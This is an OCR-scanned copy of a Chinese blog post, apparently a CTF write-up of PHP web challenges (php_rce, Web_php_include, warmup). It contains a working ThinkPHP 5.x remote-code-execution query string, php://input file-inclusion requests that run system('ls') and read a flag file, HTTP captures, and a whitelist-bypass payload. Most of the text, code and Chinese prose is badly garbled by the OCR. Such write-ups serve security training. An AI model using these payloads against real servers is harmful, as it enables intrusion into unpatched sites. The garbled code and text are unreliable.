Bpi it 5 webBER X writeup

zero-L F 2020-04-20 23:03:29 K A7 369 KRR 1

FREE: off WEHE: cff

R B AR SONTEE RIS E, BIE.CC 4.0 BY-SA MM, FBIEM LR SCH AMBEEMAREH .
ACEERE: https://blog.csdn.net/weixin_39938635/article/details/105643621

o ctf BEWRRIZNE

5 RXE 0T
B &R
Hx

php_rce

Web_php_include
ics-06

warmup

php_rce

SR

SR

TRIE TN F B 1% AR tp5 IR 72 iy &/ AS AT IR TR

5 M L T payload.

emmmi T R E R ER .

(Epr ERRA T ¥ £payload. . » EFHpost? ? HHIF LARITE AR, FINEERL, BREBMED

5.0.xh f¥Ipoc

?s=index/\think\app/invokefunction&function=call _user_ func_array&vars[@]=system&vars[1][]=#{ERZ% 4 (W dir wh

oami)

B X AT ARG S Rilag B catBP T

ERESERWE, LA R/flag/flag

Web_php_include


https://blog.csdn.net/weixin_39938635
https://blog.csdn.net/weixin_39938635/category_8905806.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_39938635/article/details/105643621
https://blog.csdn.net/weixin_39938635/category_8905806.html
https://www.freebuf.com/vuls/191847.html
https://blog.csdn.net/weixin_40709439/article/details/86564457

It R YR

<?php
show source( FILE );
echo $ GET['hello'];
Spage=5 GET['page']:
while (strstr(Spage, "php://")) {

Spage=str replace ("php://", "", Spage);

1
include (Spage) ;
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+ allow url include = On,

« Xfallow_url_fopenfMfEsk,
=5

index.php
?file=php:

POST:

<? phpinfo();?>

@ Load URL [ http://127.0.0.1:2500/fileinclude/index.php go1 : Maximum allowed sdz¢

¥ split URL ?file=php://input soz ; http://php.net/uplo:
b Execute 803 upload_max_filesize =
804
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soe max_file_uploads = 20
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User—-Agent: Mozilla/5.0 (Windows NT 10.0:; Winf4; =64; rv:75.0
Gecko/20100101 Firefox/75.0

Acococept:

text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, */ *;q=0.

g

Accept-Languags:

zh-CHM, zh;q=0.8, zh-TW; gq=0.7, zh-HE; q=0.5,en-US5; q=0.3,en; gq=0.2
Accept-Encoding: gzip, deflate

Connection: closs

Upgrade-Insecure-Regquests: 1

Cache-Control: max-—age=0

Content-Length: 20

E?php system("ls") 7> ]

oS

HTTF/Ll.l 200 OK

Date: Mon, 20 Apr Z0Z0 14:24:48 GMT
Server: Apache/Z.2.22 (Ubuntu
¥-Powered-By: PHP/5.3.10-lubuntu3
Vary: Accept—-Encoding
Content-Length: 1552

Connection: close

Content-Type: text/html

<coder<span style="color: #000000">

<span style="color: HOODOEE"=&1t;?php<b: />sh0w_source<fspau><span
style="color: HO07700">(</span><span style="color:
#DDDDBB">__FILE__<fspan><span style="color: #007700"=) ;<br
/>echo&nbsp ;</span><span style="color: HODODOBE">S5 GET</span=<span
style="color: #007700":[</span><span style="color:

#DDOOOO">'helleo' </span><span style="color: HFO07700">] ;<br
/></8pan><span style="color: HOODO0DBEE">$page</span><span style="color:
#007700">=</span><span style="color: HOOODOEE">$§ GEI</span><span
style="color: HOO7700">[</span><span style="color:

#DDOOOO">'page' </span><span style="color: HO007700"=]:<br

/>while&nbsp ;(</span><span style="color: HO000BE"»strstr</span><span
style="color: #OO7700">(</span><span style="color:
#OOOOEE">§page</span><span style="color: #O007700"> &nhep;</span><span
style="color: #DDOOODO">"php://"</span><span style="color:

#007700"=) y&nbsp ; {<br />&nbsp :&nbsp :&nbsp:&nbsp;</span><span
style="color: #0OODDODBE":>$page</span><span style="color:
#007700">=</span><span style="color: HODOOBE">str_replace</span><span
style="color: #007700"=(</span><span style="color:

#DDOOOO"="php: f/"</span><span style="color:
#007700"> ,&nbsp ;</spanr<span style="color: #DDOOOO">""</span><span
style="color: #007700">,&nbsp;</span><span style="color:
#0000BE"=Spage</spanr<span style="color: #007700":) ;<br />}<br
/rinclude( </ span><span style="color: HOOODOBE">Spage</span><span
style="color: H#007700">);<br /></spanr<span style="color:
H#OOOOBE"=2&gt ;<br /[»</spans

</span>
</ code>fl4gisisish3r3.php
index. php
hpinfo.php
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put [HTTF/ 1.1 A HTTF/1.1 200 OK
oSt . . . B =1=) - Date: Mon, 20 Apr Z0Z0 14:25:34 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:75.0) Server: Apache/2.2.22 (Ubuntu)

Gecko/Z0100101 Firefox/75.0
Aocept:

% text/html, application/xhtml+xml, application/xml; q=0.9, image/ webp, */ *; q=0.

g8

Aocept-Language:

zh-CH, zh;q=0.8, ch-TW;q=0.7, zh-HE; q=0.5,en-U3;q=0.3 ,en;q=0.2
Aocept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: L

Cache-Control: max-age=0

Content-Length: 40

F?php system|"cat fl4gisisish3r3.php") ?>
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¥-Powered-By: PHP/5.3.10-lubuntul

Vary: Accept-Encoding

Content-Length: 1571

Connection: close

Content-Type: text/html

<coder<span style="color: #000000">

style="color: #007700":(</span><span style="color:

style="color: #007700":[</span><span style="color:
#DDOOOO">"helle' </span><span style="color: #007700">];:<br

style="color: #007700":[</span><span style="color:
#DDOODOO">'page' </span><span style="color: H#007700"=] ;<br
style="color: #007700":(</span><span style="color:

style="color: #DDO00DO":="php://"</span><span style="color:

style="color: #0000BE":=$page</span><span style="color:

style="color: #007700":(</span><span style="color:
#DDOOOO">"php: f/"</span><span style="color:

style="color: #007700":> ,&nbsp;</span><span style="color:

style="color: #007700":) ;;<br /></span><span style="color:
#OOOOEE">?&gt ;<br /></span>
</span>

code php
[$flag="ctf{876a5fca—9EcE—4cbd—9075—46f0c89475d2}":

<span style="color: #0000OBB":»&1t:?php<br />show_source</sp
#DDDDBB">__FILE__<fspan><span style="color: #007700">) ;<br
/>echo&nbsp;</span><span style="color: #0000BE">§ GET</spa

/z</span><span style="color: #0000BEE":>$page</span><span st
#007700"»=</span><span style="color: #0D0DBB">$§ GET</span>
/>while&nbsp;(</span><span style="color: HO0OOODEE">strstr</
#O00ODEBE">Spage</span><span style="color: #007700">,&nbsp;:<
#O07700"=) )&nbsp ; {<br />&nbsp;&nbsp ;&nbsp ;&nbsp;</span><sp

#007700">=</span><span style="color: #DDDDBB"}str_replace<

#007700"> ,&nbsp ;</span><span style="color: #DDOODOO"=>""</sp

#O00ODEBE">Spage</span><span style="color: #007700">) ;<br />
/zinclude(</span><span style="color: H#O0DO0BE">S$page</span>
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highlight file(__ FILE_);
class emmm

{

public static function checkFile(
{
["source"=>"source.php","hint"=>"hint.php"];
if (! isset( ) is_string( )) {
echo "you can't see it";

return false;

if (in_array(

return true;

mb_substr(
0,
mb_strpos(
)
if (in_array($_page, $whitelist)) {

return true;

$ page = urldecode($page);
$ _page = mb_substr(
$_page,
0,
mb_strpos($_page . ")
)
if (in_array($_page, $whitelist)) {
return true;
¥
echo "you can't see it";
return false;

if (! empty( ["file'])

&& is_string( ["file'])

&& emmm: : checkFile( ["file'])
) {

include [*file'];

exit;
} else {

echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
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source.php?file=source.php?(payload)
B
source.php?file=hint.php?(payload)
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source.php?file=source.php%253f
source.php?file=hint.php%253f
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payload:
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include

(PHP 4, PHP 5, PHP 7)
include {ERIBEHizfTHEEST,
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